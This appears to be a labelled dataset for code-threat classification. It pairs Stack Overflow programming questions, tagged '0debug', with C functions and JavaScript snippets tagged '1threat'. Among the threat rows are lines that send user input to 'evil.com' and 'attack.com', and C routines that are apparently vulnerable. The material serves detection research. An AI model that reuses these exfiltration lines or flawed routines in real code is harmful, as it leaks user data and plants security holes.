problem
stringlengths
26
131k
labels
class label
2 classes
Understanding map in Scala : <p>Please help me understand what map(_(0)) means here:</p> <pre><code>scala&gt; a.collect res97: Array[org.apache.spark.sql.Row] = Array([1039], [1010], [1002], [926]) scala&gt; a.collect.map(_(0)) res98: Array[Any] = Array(1039, 1010, 1002, 926) </code></pre>
0debug
Circle area fucntion : I'm trying to make a super basic circle area function in Python 3, but it won't work. Here's my code: //Circle Area Calculator Area = 0 Circle_Radius = 7 def circle_area(): return Circle_Radius ** Circle_Radius ** 3.1415926535 = Area circle_area() print (Area)
0debug
document.location = 'http://evil.com?username=' + user_input;
1threat
static int do_write_compressed(BlockBackend *blk, char *buf, int64_t offset, int64_t count, int64_t *total) { int ret; if (count >> 9 > INT_MAX) { return -ERANGE; } ret = blk_write_compressed(blk, offset >> 9, (uint8_t *)buf, count >> 9); if (ret < ...
1threat
How to make print something in columns? : <p>I'm trying to make a yahtzee, and I have problem with my printing, I need to get what I'm supposed to print into nice looking columns: I want it to look something like this:</p> <pre><code>Name Joakim Anders Bonus 0 0 Ones 0 0 Twos 1 ...
0debug
R - Stuck in a IF Else : <p>I am stuck in an exercise that askes me to read a data frame and write an ifelse statement that returns 1 if the sex (theres a gender column) is Female and 2 if the sex is Male. Then the exercise askes me the sum() of theses numbers. No success so far. Any help?</p>
0debug
Obfuscating Swift code before submission to Apple App Store : <p>I'm having a hard time finding any info on this. Android themselves mention code obfuscation as something to do before submitting to their store. But I see nothing about this from Apple or from any "third party" before-submission checklists. The only simi...
0debug
What is the difference between crossinline and noinline in Kotlin? : <ol> <li><p>This code <strong>compiles with a warning</strong> (<em>insignificant performance impact</em>):</p> <pre><code>inline fun test(noinline f: () -&gt; Unit) { thread(block = f) } </code></pre></li> <li><p>This code <strong>does not compi...
0debug
Angular 2 - with ngFor, is it possible to update values without rebuilding the dom? : <p>I have a component 'bar' inside ngFor. I want to update its width with animation starting from the previous value to new one. </p> <p>html : </p> <pre><code>&lt;div *ngFor="let station of stations" class="station"&gt; &lt;bar...
0debug
static void skip_block (uint8_t *current, uint8_t *previous, int pitch, int x, int y) { uint8_t *src; uint8_t *dst; int i; src = &previous[x + y*pitch]; dst = current; for (i=0; i < 16; i++) { memcpy (dst, src, 16); src += pitch; dst += pitch; } }
1threat
too many values to unpack on dictionary key value iteration : <p>Getting an error <strong>too many values to unpack</strong>. Can anyone help me to solve it?</p> <pre><code>friendship = {'nino': ["tamari", "nika", "lela", "dato"], 'dato': ["tamari", "nino"], 'tamari': ["nino", "dato", "lela...
0debug
python function - calling using apply vs direct call : I have code as below. If I call the function by the first method, it works. But if I call the function using the second method, I get an error. I thought that method two should works as the function is expecting columns as it's input. Why do we have to say that run...
0debug
how to get specific records in many to many relationship in laravel 5.5 : Need Help I have three tables 1-posts 2-categories 3-category_post I did all the necessary things now the problem is here how can I get specific records in controller for example I want to retrieve all those posts which category is animal tha...
0debug
load event vs self invoking function? : I would like to know if the following two cases has the exact same effect `performance and security wise` ? Which one is `better practice` ? Using **load event** if (sSessionRole === "admin") { window.addEventListener("load", function () { ...
0debug
Probability density algorythm : I'm not sure that the name for what I need is ***probability density*** but anyway. I'd like to find a function or algorythm for generating random numbers in the specified range with specified chance and linear change. For example specified range and chances are: [Chart of chances]...
0debug
filter the array with another array containing the names to be filtered from the first array : input : ['Ram', 'Shyam' , 'Hari' , 'Gopal' , 'Hawa'] ['Shyam' , 'Hawa'] output: ['Ram' , 'Hari' , 'Gopal']`enter code here
0debug
static int dts_probe(AVProbeData *p) { const uint8_t *buf, *bufp; uint32_t state = -1; int markers[4*16] = {0}; int exss_markers = 0, exss_nextpos = 0; int sum, max, pos, i; int64_t diff = 0; uint8_t hdr[12 + AV_INPUT_BUFFER_PADDING_SIZE] = { 0 }; for (pos = FFMIN(4096, p->buf...
1threat
Angular what's meaning of three dots in @NGRX : <p>what does mean exactly these three dots and why i need them ?</p> <pre><code>export function leadReducer(state: Lead[]= [], action: Action { switch(action.type){ case ADD_LEAD: return [...state, action.payload]; case REMOVE_LEAD: ...
0debug
Mockito Inject mock into Spy object : <p>I'm writing a test case for a Class which has a 2 level of dependency injection. I use @Spy annotation for the 1 level dependency injection object, and I would like to Mock the 2nd level of injection. However, I kept getting null pointer exception on the 2nd level. Is there any ...
0debug
Does an app that amplify your voice instantly exist? : <p>I wonder if there is any app existed that I can either speak to the android phone directly or speaking into a clip-on mic, and the app uses the phone as a speaker to amplify the voice instantly?</p> <p>I am not trying to record the voice, but just instantly mak...
0debug
How to view log output using docker-compose run? : <p>When I use <code>docker-compose up</code> I can see logs for all containers in my <code>docker-compose.yml</code> file.</p> <p>However, when I use <code>docker-compose run app</code> I only see console output for <code>app</code> but none of the services that <code...
0debug
static uint64_t exynos4210_i2c_read(void *opaque, target_phys_addr_t offset, unsigned size) { Exynos4210I2CState *s = (Exynos4210I2CState *)opaque; uint8_t value; switch (offset) { case I2CCON_ADDR: value = s->i2ccon; break; case I2CSTAT_AD...
1threat
How do I combine data accurately between two sheets based on shared column values? : Python may be the best bet for this I will upload a solution I will attempt but for you Excel experts I have a real bully of a problem for you. ``` Names Trophies Scott 3 Jim 3 Ron 2 Bob 1 Jack 1 ``` now on...
0debug
window.location.href = 'http://attack.com?user=' + user_input;
1threat
int qcrypto_init(Error **errp) { #ifdef CONFIG_GNUTLS int ret; ret = gnutls_global_init(); if (ret < 0) { error_setg(errp, "Unable to initialize GNUTLS library: %s", gnutls_strerror(ret)); return -1; } #ifdef DEBUG_GNUTLS gnutls_globa...
1threat
static int cudaupload_query_formats(AVFilterContext *ctx) { int ret; static const enum AVPixelFormat input_pix_fmts[] = { AV_PIX_FMT_NV12, AV_PIX_FMT_YUV420P, AV_PIX_FMT_YUV444P, AV_PIX_FMT_NONE, }; static const enum AVPixelFormat output_pix_fmts[] = { AV_PIX_FMT_CUDA, ...
1threat
parallel_ioport_write_sw(void *opaque, uint32_t addr, uint32_t val) { ParallelState *s = opaque; pdebug("write addr=0x%02x val=0x%02x\n", addr, val); addr &= 7; switch(addr) { case PARA_REG_DATA: s->dataw = val; parallel_update_irq(s); break; case PARA_REG_C...
1threat
converting column into singe row using dplyr : I am trying to wrangle my dataset converting a column into a single row. Original dataset: [![enter image description here][1]][1] What I am getting is [![enter image description here][2]][2] What I want to have: [![enter image description here][3]][3] ...
0debug
Python Tkinter Radiobutton issues in second window : I have a school project on making a website in tkinter python. My problem is in the function "Whats_for_dinner". Both my check, and radio buttons are not replacing the variable for me to find out which one is selected (I.E the radio button stays at zero instead of ch...
0debug
int attribute_align_arg avcodec_decode_audio4(AVCodecContext *avctx, AVFrame *frame, int *got_frame_ptr, AVPacket *avpkt) { AVCodecInternal *avci = avctx->internal; int...
1threat
Java - Double number return unexpected : <p>Probably a very simple math question, but this has me a little bit confused.</p> <p>Can anybody explain to me why this: </p> <pre><code>public class volumesphere { public static void main(String[] args) { double radius = 30.5; double PI = Math.PI; double volume ...
0debug
static inline void write_IRQreg (openpic_t *opp, int n_IRQ, uint32_t reg, uint32_t val) { uint32_t tmp; switch (reg) { case IRQ_IPVP: opp->src[n_IRQ].ipvp = (opp->src[n_IRQ].ipvp & 0x40000000) | (val & 0x800F00F...
1threat
Why Strong Params contains permitted: false : <p>I put in a <code>binding.pry</code> at the top of my controller's <code>update</code> action. Once at that break point, I put in <code>params[:foo_bar]</code> to examine the <code>params</code> hash. Here is what I get:</p> <pre><code>&lt;ActionController::Parameters ...
0debug
static block_number_t eckd_block_num(BootMapPointer *p) { const uint64_t sectors = virtio_get_sectors(); const uint64_t heads = virtio_get_heads(); const uint64_t cylinder = p->eckd.cylinder + ((p->eckd.head & 0xfff0) << 12); const uint64_t head = p->eckd.head & 0x000f;...
1threat
How to Replace text partially in linux using sed : I have an xml tag that I need to manipulate on linux <m1:PayloadId>TESTCASE01_0000123456</m1:PayloadId> I need to change the text from "TESTCASE01_0000123456" to "TESTCASE01_1234567890" between the tags I used the sed command in my code:"**sed -i 's/PayloadId>.*</m1...
0debug
Multy attack in unity : I'm trying to play 3 deferent attack in unit when the user press the same bottom multi time the attack will change. I try this code it's ok but filed to track the number of attack if (Input.GetKeyDown(KeyCode.Q) && attTraking == 0) { anim.SetTrigger(attackOneToHas...
0debug
How to create object inside object in JS : <p>I want to create an object inside an object in JavaScript like this:</p> <pre><code> { "test": { {}, {} } } </code></pre> <p>In more detail, I want to create a new object if "test" doesn't exist in the object, and create a new object in ...
0debug
How to delete the folder from a http url using python : <p>i have a wifi enable camera. i can access the image from the ip address while enter in browser. while entering the ip address it shows the list of folders name in the home page. i have to delete one folder. <a href="https://i.stack.imgur.com/FTAtW.png" rel="no...
0debug
how to formating data to produce sankey diagram using NetworkD3 library R : I have this [data][1], and I'm trying to produce a Sankey Diagram using the NetworkD3 package with this simple code: sankeyNetwork(Links = landuse$links, Nodes = landuse$nodes, Source = "source", Target = "target", Val...
0debug
Most efficient way to store and retrieve data : <p>What is the best way to store data permanently in the code? I have the data e.g. Roll No. (Unique Key) Values: Name, DOB, Weight, Height etc.</p> <p>These are going to be static information and I want to store them as the part of application. While using, I want to lo...
0debug
select multiple column into a single row : <p>Suppose I've got two tables:</p> <p>Table A:</p> <pre><code>Item1Name Item1Code Item2Name Item2Code ABC 001 DEF 002 </code></pre> <p>Table B:</p> <pre><code>ItemCode ItemType 001 Cookware 002 Drinks </code></pre> <p>W...
0debug
addding a counting colum to a numpy array in python : I have a 2d numpy array ans i.e ans=[8,5,9,2,4] i want to convert it into a 2d array like ans= {[1,8], [2,5], [3,9], [4,2], [5,4]} the first column is in sequence [1,2,3.......
0debug
void *g_realloc(void * mem, size_t n_bytes) { __coverity_negative_sink__(n_bytes); mem = realloc(mem, n_bytes == 0 ? 1 : n_bytes); if (!mem) __coverity_panic__(); return mem; }
1threat
int ff_v4l2_m2m_codec_full_reinit(V4L2m2mContext *s) { void *log_ctx = s->avctx; int ret; av_log(log_ctx, AV_LOG_DEBUG, "%s full reinit\n", s->devname); if (atomic_load(&s->refcount)) while(sem_wait(&s->refsync) == -1 && errno == EINTR); ff_v4l2_m2m_codec_end(s->avct...
1threat
static av_cold int g726_encode_init(AVCodecContext *avctx) { G726Context* c = avctx->priv_data; if (avctx->strict_std_compliance > FF_COMPLIANCE_UNOFFICIAL && avctx->sample_rate != 8000) { av_log(avctx, AV_LOG_ERROR, "Sample rates other than 8kHz are not " "allowed when th...
1threat
static int css_add_virtual_chpid(uint8_t cssid, uint8_t chpid, uint8_t type) { CssImage *css; trace_css_chpid_add(cssid, chpid, type); if (cssid > MAX_CSSID) { return -EINVAL; } css = channel_subsys.css[cssid]; if (!css) { return -EINVAL; } if (css->chpids[ch...
1threat
Automate IE print dialog box without using SendKeys : <p>Is it possible to control the IE browser print dialog box in VBA without using SendKeys?</p>
0debug
About RecycleView : <p>I want to display data from a database that has been hosted into recycleview by using json.I've tried various ways to make it. Can someone give me a link a tutorial on: 1. Displays data of type mediumblob into json. 2. Displays data from the database that has been hosted into recycleview. 3. Disp...
0debug
One line makes me mad. SQL Developer : create or replace trigger fund_BIU before insert or update on fund for each row begin if inserting and :new.fundid is null then :new.fundid := to_number(sys_guid(), 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'); en...
0debug
int coroutine_fn bdrv_co_writev(BlockDriverState *bs, int64_t sector_num, int nb_sectors, QEMUIOVector *qiov) { trace_bdrv_co_writev(bs, sector_num, nb_sectors); return bdrv_co_do_writev(bs, sector_num, nb_sectors, qiov, 0); }
1threat
Allow Public Read access on a GCS bucket? : <p>I am trying to allow anonymous (or just from my applications domain) read access for files in my bucket.</p> <p>When trying to read the files I get </p> <p>```</p> <pre><code>&lt;Error&gt; &lt;Code&gt;AccessDenied&lt;/Code&gt; &lt;Message&gt;Access denied.&lt;/M...
0debug
static inline void gen_ins(DisasContext *s, TCGMemOp ot) { if (use_icount) gen_io_start(); gen_string_movl_A0_EDI(s); tcg_gen_movi_tl(cpu_T[0], 0); gen_op_st_v(s, ot, cpu_T[0], cpu_A0); tcg_gen_trunc_tl_i32(cpu_tmp2_i32, cpu_regs[R_EDX]); tcg_gen_andi_i32(cpu_tmp2_i32, cp...
1threat
static int alloc_sequence_buffers(DiracContext *s) { int sbwidth = DIVRNDUP(s->source.width, 4); int sbheight = DIVRNDUP(s->source.height, 4); int i, w, h, top_padding; for (i = 0; i < 3; i++) { int max_xblen = MAX_BLOCKSIZE >> (i ? s->chroma_x_shift : 0); int max_yblen ...
1threat
Horizontall Scrolling Card View - Nadroid : I am trying to find a way to do the below design in android. But i am not able to find a solution to it. Can anyone give me a solution to it. [![enter image description here][1]][1] [1]: http://i.stack.imgur.com/AdL9q.jpg
0debug
bool io_mem_write(MemoryRegion *mr, hwaddr addr, uint64_t val, unsigned size) { return memory_region_dispatch_write(mr, addr, val, size); }
1threat
Android studio 3.1 run command does not rebuild the APK : <p>This is very annoying aspect of the new android studio version 3.1, I used to launch run command after every code changes, the IDE rebuilds the (whole project &amp; APK) and then deploys it on the target device.</p> <p>Then after upgrading to version 3.1, th...
0debug
Typescript error TS2339: Property 'webkitURL' does not exist on type 'Window' : <p>Using Angular 2 on a project which is compiled with typescript.</p> <p>Getting this error when trying to create a blob image:</p> <p><code>error TS2339: Property 'webkitURL' does not exist on type 'Window'</code></p> <p>ts code is:</p...
0debug
static void mv88w8618_register_devices(void) { #ifdef HAS_AUDIO sysbus_register_withprop(&mv88w8618_audio_info); #endif }
1threat
KSQL ( Confluent ) VS Hive Kafka SQL ( Hortanworks ) : <blockquote> <p>What are the difference ? which one is better ? when to use ?</p> </blockquote> <p><a href="https://hortonworks.com/blog/introducing-hive-kafka-sql/" rel="nofollow noreferrer">Hive Kafka SQL</a></p> <p><a href="https://www.confluent.io/prod...
0debug
Why do I get an conversion error in android using R.string? : <p>My file <code>strings.xml</code> looks like the following:</p> <pre><code>&lt;resources&gt; &lt;string name="app_name"&gt;BootIntervals&lt;/string&gt; &lt;string name="action_settings"&gt;Settings&lt;/string&gt; &lt;string name="logname"&gt;"...
0debug
static CharDriverState *qemu_chr_open_pty(const char *id, ChardevBackend *backend, ChardevReturn *ret, Error **errp) { CharDriverState *chr; PtyCharDriver *s; int master_fd, s...
1threat
Pseudo code example : <p>I am new to programming in general and I am trying to learn the basics of it. Could someone explain me the concept of Pseudo code. I have already done some research but an additional help would be great. As an example, what would pseudo code for making a peanut butter and jelly sandwich would l...
0debug
static inline void RENAME(rgb24toyv12)(const uint8_t *src, uint8_t *ydst, uint8_t *udst, uint8_t *vdst, long width, long height, long lumStride, long chromStride, long srcStride) { long y; const long chromWidth= width>>1; #ifdef HAVE_MMX for(y=0; y<height-2; y+=2) { long i; for(i=0; i<2; i++) { ...
1threat
Free problems in C language : I'm working on a project in C language. The purpose of the project is to code a function that returns the next line of a file every time it's called. I'm only allowed to use the malloc, free and read functions. Here's the errors I'm getting : [Errors][1] [1]: http://i.stack.imgur...
0debug
static void cpu_ioreq_move(ioreq_t *req) { int i, sign; sign = req->df ? -1 : 1; if (!req->data_is_ptr) { if (req->dir == IOREQ_READ) { for (i = 0; i < req->count; i++) { cpu_physical_memory_read( req->addr + (sign * i * (int64_t)req->s...
1threat
incorrect input is treated as correct : i made this for an assignment but even if i feed in input out of the desired range i still get the output, for the first section the wrong input is shown as wrong but for the second part no matter what i always get output #include <iostream> #include ...
0debug
in javafx, How to draw a line in javaFX :/ : I am a beginner at javaFX and started today i think so i want how to draw line and when i make a new group and put a line object it gives me an error like: Group group = new Group(line);
0debug
static ssize_t rtl8139_do_receive(NetClientState *nc, const uint8_t *buf, size_t size_, int do_interrupt) { RTL8139State *s = qemu_get_nic_opaque(nc); PCIDevice *d = PCI_DEVICE(s); int size = size_; const uint8_t *dot1q_buf = NULL; uint32_t packet_header = 0; uint8_t buf1[MIN_BU...
1threat
How to handle backslash character in PowerShell -replace string operations? : <p>I am using -replace to change a path from source to destination. However I am not sure how to handle the \ character. For example:</p> <pre><code>$source = "\\somedir" $dest = "\\anotherdir" $test = "\\somedir\somefile" $destfile = $tes...
0debug
static void clear_sel(IPMIBmcSim *ibs, uint8_t *cmd, unsigned int cmd_len, uint8_t *rsp, unsigned int *rsp_len, unsigned int max_rsp_len) { IPMI_CHECK_CMD_LEN(8); IPMI_CHECK_RESERVATION(2, ibs->sel.reservation); if (cmd[4] != 'C' || cm...
1threat
Text size of TEXTVIEW for multiple android screens (mdpi, hpdi, xhdpi,xxhdpi,xxxhdpi)? : I am making an app. There is a rotatable imageview in the middle of the screen with 2 textviews(in bold) above and 2 textviews below. It is showing different on different screens. I need help asap!!!
0debug
void rgb15tobgr24(const uint8_t *src, uint8_t *dst, long src_size) { const uint16_t *end; uint8_t *d = (uint8_t *)dst; const uint16_t *s = (uint16_t *)src; end = s + src_size/2; while(s < end) { register uint16_t bgr; bgr = *s++; *d++ = (bgr&0x7C00)>>7; *d++ = (bgr&0x3E0)>>2; *d++ = (bgr&0x1...
1threat
TransformException duplicate entry for org/intellij/lang/annotations/Identifier.class : <p>I am getting this error</p> <pre><code>Error:Execution failed for task ':app:transformClassesWithJarMergingForDebug'. &gt; com.android.build.api.transform.TransformException: java.util.zip.ZipException: duplicate entry: org/int...
0debug
Brainf*ck interpreter nested loop trouble : I am currently making a brainf*ck and have encountered a problem with loops. I followed some advice from [this][1] but I can't seem to get it working. Here is my code so far: <html> <body> <font face="consolas"> <script> var brPos = 0; va...
0debug
Memory leaks when using pandas_udf and Parquet serialization? : <p>I am currently developing my first whole system using PySpark and I am running into some strange, memory-related issues. In one of the stages, I would like to resemble a Split-Apply-Combine strategy in order to modify a DataFrame. That is, I would like ...
0debug
How can I use multiple refs for an array of elements with hooks? : <p>As far as I understood I can use refs for a single element like this:</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="true"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-ov...
0debug
MemoryError python sql : I’m getting a MemoryError when I try to read a large sql file in Python3.6 with this command: with open(sql_file, ‘r’) as f: Is there an alternative to this so I can correctly read my sql file ?
0debug
Eclipse with Lombok - search for getter and setter usages : <p>I'm using Eclipse with Lombok. The getters and setters are generated properly but they are not visible in class body (that's the whole point, I know). However, because of that, I am unable to execute a search for usages of a getter or a setter from inside t...
0debug
int kvm_on_sigbus_vcpu(CPUState *env, int code, void *addr) { #if defined(KVM_CAP_MCE) struct kvm_x86_mce mce = { .bank = 9, }; void *vaddr; ram_addr_t ram_addr; target_phys_addr_t paddr; int r; if ((env->mcg_cap & MCG_SER_P) && addr && (code == BUS_MCEERR_AR...
1threat
Create Command-line Launcher Intellij not found : <p>I would like to use </p> <pre><code>idea pom.xml </code></pre> <p>from command line to launch a simple Maven project, and so I think I need to configure using "Create Command-line Launcher" the script path, but I cannot find it in Intellij Ultimate, if I search it ...
0debug
how to add data into list<> from labamda expression mvc : hi i need help to add data from lambada expresssion query to list. var Emplist = context.employee.tolist().firstordefault(e=>e.id= empid && e.name=empname) Now wants result into generic list list<Emplist> emplist = context.employee.tolist().firstor...
0debug
void rgb15tobgr24(const uint8_t *src, uint8_t *dst, unsigned int src_size) { const uint16_t *end; uint8_t *d = (uint8_t *)dst; const uint16_t *s = (uint16_t *)src; end = s + src_size/2; while(s < end) { register uint16_t bgr; bgr = *s++; *d++ = (bgr&0x7C00)>>7; *d++ = (bgr&0x3E0)>>2; *d++ = ...
1threat
Chart.js - how to disable everything on hover : <p>How can I set the code that there will be no hover effects, hover options, (hover) links etc on chart?</p> <p>I'm using chart.js. Below is my code, where I set pie chart.</p> <p>Html..</p> <pre><code>&lt;div id="canvas-holder" style="width:90%;"&gt; &lt;canvas i...
0debug
Sending to client from server : <p>I'm trying to send data from a server to a client whenever the client executes a recv() command. As the code stands right now, I cannot get the client to print any data it receives. I cannot figure out whether something is wrong with my server or client, so any help would be appreciat...
0debug
Avoiding and renaming .x and .y columns when merging or joining in r : <p>Often I go about joining two dataframes together that have the same name. Is there a way to do this within the join-step so that I don't end up with a .x and a .y column? So the names might be 'original_mpg', and 'new_mpg'?</p> <pre><code> li...
0debug
How to scale text to fit parent view with SwiftUI? : <p>I'd like to create a text view inside a circle view. The font size should be automatically set to fit the size of the circle. How can this be done in SwiftUI? I tried scaledToFill and scaledToFit modifiers, but they have no effect on the Text view:</p> <pre><code...
0debug
i want text after 3 '_' s means '110_DT_H55_VXELQ318_10Q' this is the text i want 'VXELQ318_10Q' : this is my quary:- DECLARE @x varchar(100) SET @x = '110_DT_H55_VXELQ318_10Q' SELECT left(@x, CHARINDEX('_', REVERSE(@x)) )
0debug
html/CSS how to make a div always center when the window is resized : <p>I have a navigation bar which I want it to always stay centered when the window is resized. The bar is on top of a picture which serves as the background of the website. Here's the code:</p> <p><div class="snippet" data-lang="js" data-hide="false...
0debug
How do I make an Observable Interval start immediately without a delay? : <p>I want my observable to fire immediately, and again every second. <a href="http://reactivex.io/documentation/operators/interval.html" rel="noreferrer"><code>interval</code></a> will not fire immediately. I found <a href="https://stackoverflow....
0debug
What are .NET Platform Extensions on docs.microsoft.com? : <p>There is a framework-level navigation element at Microsoft Docs called <a href="https://docs.microsoft.com/en-us/dotnet/api/index?view=dotnet-plat-ext-2.1" rel="noreferrer">".NET Platform Extensions"</a>. It contains docs on recently added APIs like <code>Sy...
0debug
uint64_t HELPER(neon_abdl_s32)(uint32_t a, uint32_t b) { uint64_t tmp; uint64_t result; DO_ABD(result, a, b, int16_t); DO_ABD(tmp, a >> 16, b >> 16, int16_t); return result | (tmp << 32); }
1threat
Creating single linked list in c++ : <p>I am a beginner in coding and i am creating a linked list(without using class concept), but this is not working, please help.</p> <pre><code>#include&lt;iostream&gt; #include&lt;malloc.h&gt; using namespace std; struct node{ int data; node *next; }; void add(int n){ ...
0debug
static av_cold int rv30_decode_init(AVCodecContext *avctx) { RV34DecContext *r = avctx->priv_data; int ret; r->rv30 = 1; if ((ret = ff_rv34_decode_init(avctx)) < 0) return ret; if(avctx->extradata_size < 2){ av_log(avctx, AV_LOG_ERROR, "Extradata is too small.\n"); ...
1threat
static target_ulong helper_sdiv_common(CPUSPARCState *env, target_ulong a, target_ulong b, int cc) { SPARCCPU *cpu = sparc_env_get_cpu(env); int overflow = 0; int64_t x0; int32_t x1; x0 = (a & 0xffffffff) | ((int64_t) (env->y) << 32); x1 = (b & 0x...
1threat
unicode character color issue : <p>Can't change color on the following characters:</p> <pre><code>&lt;div style="font-size: 25px; color:red;"&gt;&amp;#128269;&lt;/div&gt; &lt;div style="font-size: 25px; color:red;"&gt;&amp;#128227;&lt;/div&gt; </code></pre> <p>while some other unicode chars accept color property:</p>...
0debug
Regular Expression to extract specific text from string : <p>I am new to Regex and try to extract a 16x character piece of text from a list of strings. </p> <p>Sample list:</p> <pre><code>myString = [' pon-3-1 | UnReg 5A594F4380661123 1234567890 Active', ' pon-3-1 | U...
0debug
How to replace price to another currency in Woocommerce? : I need the help of the community. I use a visual product builder that allow my client to build their own products and I need multi-currency support. The problem is that i can't use multi-currency plugin because the visual builder doesn't support it. Mi qu...
0debug
static uint64_t mcf_fec_read(void *opaque, target_phys_addr_t addr, unsigned size) { mcf_fec_state *s = (mcf_fec_state *)opaque; switch (addr & 0x3ff) { case 0x004: return s->eir; case 0x008: return s->eimr; case 0x010: return s->rx_enabled ? (1 << 24) : 0; ...
1threat
Using python to code Ev3 windows : <p>I was going around the internett and i found out that you can code Mindstorm with python, however it was for Linux only and im running windows. Is there a way/website where i can learn how to connect python up to mindstorms and get sensor data?</p>
0debug
How to use .forRoot() within feature modules hierarchy : <p>Can anyone please clarify to me how should I structure multiple nested feature modules hierarchy with .forRoot() calls?</p> <p>For example what if I have modules like this:</p> <pre><code>- MainModule - SharedModule - FeatureModuleA - FeatureModuleA1 ...
0debug